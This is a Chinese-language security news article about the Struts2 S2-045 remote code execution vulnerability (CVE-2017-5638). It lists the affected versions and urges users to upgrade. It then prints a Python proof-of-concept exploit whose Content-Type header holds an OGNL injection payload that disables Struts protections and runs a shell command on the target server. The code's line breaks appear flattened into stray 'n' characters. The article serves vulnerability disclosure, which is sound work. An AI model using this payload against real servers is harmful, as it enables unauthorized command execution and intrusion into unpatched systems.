Struts2爆遠程代碼執行漏洞(S2-045) 附POC

今天(3月7日)凌晨,安全研究員Nike Zheng在Struts2上發現一個高危漏洞(漏洞編號為CVE-2017-5638),當基於Jakarta Multipart解析器上傳文件時,可能會導致遠程代碼執行。

Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。Struts 2以WebWork為核心,採用攔截器的機制來處理用戶的請求,這樣的設計也使得業務邏輯控制器能夠與ServletAPI完全脫離開,所以Struts 2可以理解為WebWork的更新產品。

Struts2爆遠程代碼執行漏洞

受影響的版本為Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10,建議所有的Struts2開發者和用戶將其軟體更新到最新版本( Struts 2.3.32 或者Struts 2.5.10.1)。

據國內安全圈各大牛的朋友圈顯示,昨天晚上Java工程師們都在連夜加班修復這一問題。最後再次建議,Struts2用戶儘快將其軟體版本更新至最新版本。

POC

#! /usr/bin/env pythonn# encoding:utf-8nimport urllib2nimport sysnfrom poster.encode import multipart_encodenfrom poster.streaminghttp import register_openersndef poc():n register_openers()n datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})n header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"n header["Content-Type"]="%{(#nike=multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=ifconfig).(#iswin=(@java.lang.System@getProperty(os.name).toLowerCase().contains(win))).(#cmds=(#iswin?{cmd.exe,/c,#cmd}:{/bin/bash,-c,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"n request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)n response = urllib2.urlopen(request)n print response.read()npoc()n

本文參考來源於apache,如若轉載,請註明來源於嘶吼: 【更新】Struts2爆遠程代碼執行漏洞(S2-045),附POC 更多內容請關注「嘶吼專業版」微信公眾號Pro4hou

推薦閱讀:

星際迷航主題勒索軟體湧現,要求使用Monero加密貨幣付款
Night環境與學習共兼容
從誕生到鼎盛:扒扒殭屍網路的暗黑體制

TAG:Struts2 | 网络安全 |